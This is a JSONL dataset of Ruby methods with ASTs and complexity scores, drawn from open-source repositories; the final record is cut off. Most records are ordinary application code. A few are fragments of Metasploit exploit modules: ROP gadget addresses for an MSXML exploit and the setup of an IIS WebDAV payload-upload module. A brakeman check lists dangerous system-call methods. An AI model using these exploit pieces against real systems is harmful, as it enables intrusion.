{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_execute.rb","start_line":31,"raw_source":"def run_check\n    Brakeman.debug \"Finding system calls using ``\"\n    check_for_backticks tracker\n\n    check_open_calls\n\n    Brakeman.debug \"Finding other system calls\"\n    calls = tracker.find_call :targets => [:IO, :Open3, :Kernel, :'POSIX::Spawn', :Process, nil],\n      :methods => [:capture2, :capture2e, :capture3, :exec, :pipeline, :pipeline_r,\n        :pipeline_rw, :pipeline_start, :pipeline_w, :popen, :popen2, :popen2e,\n        :popen3, :spawn, :syscall, :system], :nested => true\n\n    Brakeman.debug \"Processing system calls\"\n    calls.each do |result|\n      process_result result\n    end\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Finding system calls using ``\"]}]},{\"type\":\"send\",\"children\":[null,\"check_for_backticks\",{\"type\":\"send\",\"children\":[null,\"tracker\"]}]},{\"type\":\"send\",\"children\":[null,\"check_open_calls\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Finding other system calls\"]}]},{\"type\":\"lvasgn\",\"children\":[\"calls\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"IO\"]},{\"type\":\"sym\",\"children\":[\"Open3\"]},{\"type\":\"sym\",\"children\":[\"Kernel\"]},{\"type\":\"sym\",\"children\":[\"POSIX::Spawn\"]},{\"type\":\"sym\",\"children\":[\"Process\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"methods\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"capture2\"]},{\"type\":\"sym\",\"children\":[\"capture2e\"]},{\"type\":\"sym\",\"children\":[\"capture3\"]},{\"type\":\"sym\",\"children\":[\"exec\"]},{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"sym\",\"children\":[\"pipeline_r\"]},{\"type\":\"sym\",\"children\":[\"pipeline_rw\"]},{\"type\":\"sym\",\"children\":[\"pipeline_start\"]},{\"type\":\"sym\",\"children\":[\"pipeline_w\"]},{\"type\":\"sym\",\"children\":[\"popen\"]},{\"type\":\"sym\",\"children\":[\"popen2\"]},{\"type\":\"sym\",\"children\":[\"popen2e\"]},{\"type\":\"sym\",\"children\":[\"popen3\"]},{\"type\":\"sym\",\"children\":[\"spawn\"]},{\"type\":\"sym\",\"children\":[\"syscall\"]},{\"type\":\"sym\",\"children\":[\"system\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nested\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Processing system calls\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calls\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"process_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"fcd34e09-00cb-4b1c-b4a1-caf8e84e2fc6"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/serializers/api/photo_serializer.rb","start_line":61,"raw_source":"def type\n    (photo['type'] || photo['Type']).downcase\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"photo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"photo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]}]}]},\"downcase\"]}]}","id":"e2191a15-c3cd-4ea6-81ad-108ad0a2ab85"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/unlock_artifacts_service.rb","start_line":7,"raw_source":"def execute(ci_ref, before_pipeline = nil)\n      results = {\n        unlocked_pipelines: 0,\n        unlocked_job_artifacts: 0,\n        unlocked_pipeline_artifacts: 0\n      }\n\n      loop do\n        unlocked_pipelines = []\n        unlocked_job_artifacts = []\n\n        ::Ci::Pipeline.transaction do\n          unlocked_pipelines = unlock_pipelines(ci_ref, before_pipeline)\n          unlocked_job_artifacts = unlock_job_artifacts(unlocked_pipelines)\n\n          results[:unlocked_pipeline_artifacts] += unlock_pipeline_artifacts(unlocked_pipelines)\n        end\n\n        break if unlocked_pipelines.empty?\n\n        results[:unlocked_pipelines] += unlocked_pipelines.length\n        results[:unlocked_job_artifacts] += unlocked_job_artifacts.length\n      end\n\n      results\n    end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ci_ref\"]},{\"type\":\"optarg\",\"children\":[\"before_pipeline\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlocked_pipelines\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlocked_job_artifacts\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlocked_pipeline_artifacts\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unlocked_pipelines\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"unlocked_job_artifacts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unlocked_pipelines\",{\"type\":\"send\",\"children\":[null,\"unlock_pipelines\",{\"type\":\"lvar\",\"children\":[\"ci_ref\"]},{\"type\":\"lvar\",\"children\":[\"before_pipeline\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"unlocked_job_artifacts\",{\"type\":\"send\",\"children\":[null,\"unlock_job_artifacts\",{\"type\":\"lvar\",\"children\":[\"unlocked_pipelines\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unlocked_pipeline_artifacts\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"unlock_pipeline_artifacts\",{\"type\":\"lvar\",\"children\":[\"unlocked_pipelines\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unlocked_pipelines\"]},\"empty?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unlocked_pipelines\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unlocked_pipelines\"]},\"length\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unlocked_job_artifacts\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unlocked_job_artifacts\"]},\"length\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}","id":"b55cd089-779f-41ed-8ee9-639596ac85dd"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/text_editor_field.rb","start_line":14,"raw_source":"def expect_save_button(enabled: true)\n    if enabled\n      expect(field_container).to have_no_css(\"#{control_link}[disabled]\")\n    else\n      expect(field_container).to have_css(\"#{control_link}[disabled]\")\n    end\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_save_button\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"enabled\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"field_container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"control_link\"]}]},{\"type\":\"str\",\"children\":[\"[disabled]\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"field_container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"control_link\"]}]},{\"type\":\"str\",\"children\":[\"[disabled]\"]}]}]}]}]}]}","id":"b7f29440-dc13-4ee3-8b71-d8d61771ace3"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/cert/lib/cert/runner.rb","start_line":253,"raw_source":"def store_certificate(certificate, filename = nil)\n      cert_name = filename ? filename : certificate.id\n      cert_name = \"#{cert_name}.cer\" unless File.extname(cert_name) == \".cer\"\n      path = File.expand_path(File.join(Cert.config[:output_path], cert_name))\n      raw_data = Base64.decode64(certificate.certificate_content)\n      File.write(path, raw_data.force_encoding(\"UTF-8\"))\n      return path\n    end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"store_certificate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"certificate\"]},{\"type\":\"optarg\",\"children\":[\"filename\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cert_name\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"certificate\"]},\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"cert_name\"]}]},\"==\",{\"type\":\"str\",\"children\":[\".cer\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"cert_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert_name\"]}]},{\"type\":\"str\",\"children\":[\".cer\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_path\"]}]},{\"type\":\"lvar\",\"children\":[\"cert_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"certificate\"]},\"certificate_content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_data\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"5c0804f8-9afb-48ad-84bb-0d8e7c57b0a1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/service_response.rb","start_line":97,"raw_source":"def error_tracking(error_klass)\n    if error?\n      ex = error_klass.new(message)\n      yield ex\n    end\n\n    self\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"error_tracking\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error_klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ex\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_klass\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"message\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]},null]},{\"type\":\"self\",\"children\":[]}]}]}","id":"22149bb7-55e6-4a8e-bfae-9c1e5301ecdc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb","start_line":157,"raw_source":"def ret(t)\n    case t['Rop']\n    when :msvcrt\n      return [ 0x77c4ec01 ].pack(\"V\") # RETN (ROP NOP) # msvcrt.dll\n    when :jre\n      return [ 0x7c347f98 ].pack(\"V\") # RETN (ROP NOP) # msvcr71.dll\n    end\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ret\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Rop\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"msvcrt\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2009394177]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"jre\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2083815320]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},null]}]}","id":"f820b53b-040e-4ce3-a878-9b6a94b45f93"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/nfs_mount_root.rb","start_line":102,"raw_source":"def ver_lt(a, b)\n    Rex::Version.new(a.gsub(/~.*?$/, '')) < Rex::Version.new(b.gsub(/~.*?$/, ''))\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ver_lt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"~.*?$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"~.*?$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"3293438a-50b8-43c7-9ea9-6c7a330af786"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/conversations/messages_controller.rb","start_line":71,"raw_source":"def already_translated_content_available?\n    message.translations.present? && message.translations[permitted_params[:target_language]].present?\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"already_translated_content_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"translations\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"translations\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_language\"]}]}]},\"present?\"]}]}]}","id":"ab8d7542-98e4-45d4-98c8-a7cd2a2bcdfd"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/products/find.rb","start_line":121,"raw_source":"def vendor_ids?\n        vendor_ids.present?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"vendor_ids?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vendor_ids\"]},\"present?\"]}]}","id":"a0a28355-3fed-4e44-824a-ee48d44d1a95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/push_event.rb","start_line":103,"raw_source":"def commit_id\n    commit_to || commit_from\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit_to\"]},{\"type\":\"send\",\"children\":[null,\"commit_from\"]}]}]}","id":"b8003b5e-0c5c-4429-aef5-24018537d067"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/iis/iis_webdav_upload_asp.rb","start_line":12,"raw_source":"def initialize\n    super(\n      'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',\n      'Description' => %q{\n          This module can be used to execute a payload on IIS servers that\n        have world-writeable directories. The payload is uploaded as an ASP\n        script via a WebDAV PUT request.\n\n          The target IIS machine must meet these conditions to be considered\n        as exploitable: It allows 'Script resource access', Read and Write\n        permission, and supports ASP.\n      },\n      'Author' => 'hdm',\n      'Platform' => 'win',\n      'References' => [\n        ['OSVDB', '397'],\n        ['BID', '12141']\n      ],\n      'Targets' => [\n        [ 'Automatic', {} ],\n      ],\n      'DefaultTarget' => 0,\n      'DisclosureDate' => 'Dec 31 2004'\n    )\n\n    register_options(\n      [\n        # The USERNAME and PASSWORD are registered again to make them more obvious they're\n        # configurable.\n        OptString.new('HttpUsername',\n                      [false, 'The HTTP username to specify for authentication', '']),\n        OptString.new('HttpPassword',\n                      [false, 'The HTTP password to specify for authentication', '']),\n        OptString.new('PATH',\n                      [ true, 'The path to attempt to upload', '/metasploit%RAND%.asp']),\n        OptEnum.new('METHOD',\n                    [ true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move', 'copy']])\n      ]\n    )\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft IIS WebDAV Write Access Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module can be used to execute a payload on IIS servers that\\n\"]},{\"type\":\"str\",\"children\":[\"        have world-writeable directories. The payload is uploaded as an ASP\\n\"]},{\"type\":\"str\",\"children\":[\"        script via a WebDAV PUT request.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The target IIS machine must meet these conditions to be considered\\n\"]},{\"type\":\"str\",\"children\":[\"        as exploitable: It allows 'Script resource access', Read and Write\\n\"]},{\"type\":\"str\",\"children\":[\"        permission, and supports ASP.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"397\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"12141\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"Dec 31 2004\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP username to specify for authentication\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP password to specify for authentication\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to attempt to upload\"]},{\"type\":\"str\",\"children\":[\"/metasploit%RAND%.asp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"METHOD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Move or copy the file on the remote system from .txt -> .asp\"]},{\"type\":\"str\",\"children\":[\"move\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"move\"]},{\"type\":\"str\",\"children\":[\"copy\"]}]}]}]}]}]}]}]}","id":"83b5e4ce-c565-4539-a36e-7d3e46850cc5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/types_helper.rb","start_line":116,"raw_source":"def query_to_query_props(group)\n    return nil unless group.group_type == :query\n\n    query = group.attributes\n\n    # Reduce the query to its valid subset to avoid errors loading the form\n    query.valid_subset!\n\n    # Modify the hash to match Rails array based +to_query+ transforms:\n    # e.g., { columns: [1,2] }.to_query == \"columns[]=1&columns[]=2\" (unescaped)\n    # The frontend will do that IFF the hash key is an array\n    ::API::V3::Queries::QueryParamsRepresenter.new(query).to_json\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"query_to_query_props\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"group_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"query\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"valid_subset!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"V3\"]},\"Queries\"]},\"QueryParamsRepresenter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},\"to_json\"]}]}]}","id":"440b7ca6-b16d-401f-80b3-1d53cc900e64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/work_items/work_item_discussions_resolver.rb","start_line":65,"raw_source":"def self.nodes_limit(args, field, **kwargs)\n        page_size = field&.max_page_size || kwargs[:context]&.schema&.default_max_page_size\n        [args[:first], page_size].compact.min\n      end","complexity_score":10.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"nodes_limit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"page_size\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"max_page_size\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context\"]}]},\"schema\"]},\"default_max_page_size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"first\"]}]},{\"type\":\"lvar\",\"children\":[\"page_size\"]}]},\"compact\"]},\"min\"]}]}]}","id":"16a5de6b-fe96-40aa-a6a9-84bdaef7fe0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/fp/settings/env_var_override_processor.rb","start_line":52,"raw_source":"def self.cast_value(env_var_name:, env_var_value_string:, setting_type:)\n          # noinspection RubyIfCanBeCaseInspection -- This cannot be a case statement - see discussion here https://gitlab.com/gitlab-org/gitlab/-/merge_requests/148287#note_1849160293\n          if setting_type == String\n            env_var_value_string\n          elsif setting_type == Integer\n            # NOTE: The following line works because String#to_i does not raise exceptions for non-integer values\n            unless env_var_value_string.to_i.to_s == env_var_value_string\n              raise \"ENV var '#{env_var_name}' value could not be cast to Integer type.\"\n            end\n\n            env_var_value_string.to_i\n          elsif setting_type == :Boolean\n            unless env_var_value_string == 'true' || env_var_value_string == 'false'\n              raise \"ENV var '#{env_var_name}' value could not be cast to boolean type, value must be 'true' or 'false'\"\n            end\n\n            env_var_value_string == \"true\"\n          elsif setting_type == Hash\n            # NOTE: A Hash type is expected to be represented in an ENV var as a valid JSON string\n            parsed_value = parse_json(env_var_name: env_var_name, value: env_var_value_string.to_s)\n\n            unless parsed_value.is_a?(Hash)\n              raise \"ENV var '#{env_var_name}' was a JSON array type, but it should be an object type\"\n            end\n\n            parsed_value\n          elsif setting_type == Array\n            # NOTE: An Array type is expected to be represented in an ENV var as a valid JSON string\n            parsed_value = parse_json(env_var_name: env_var_name, value: env_var_value_string.to_s)\n\n            unless parsed_value.is_a?(Array)\n              raise \"ENV var '#{env_var_name}' was a JSON object type, but it should be an array type\"\n            end\n\n            parsed_value\n          else\n            raise \"Unsupported setting type: #{setting_type}\"\n          end\n        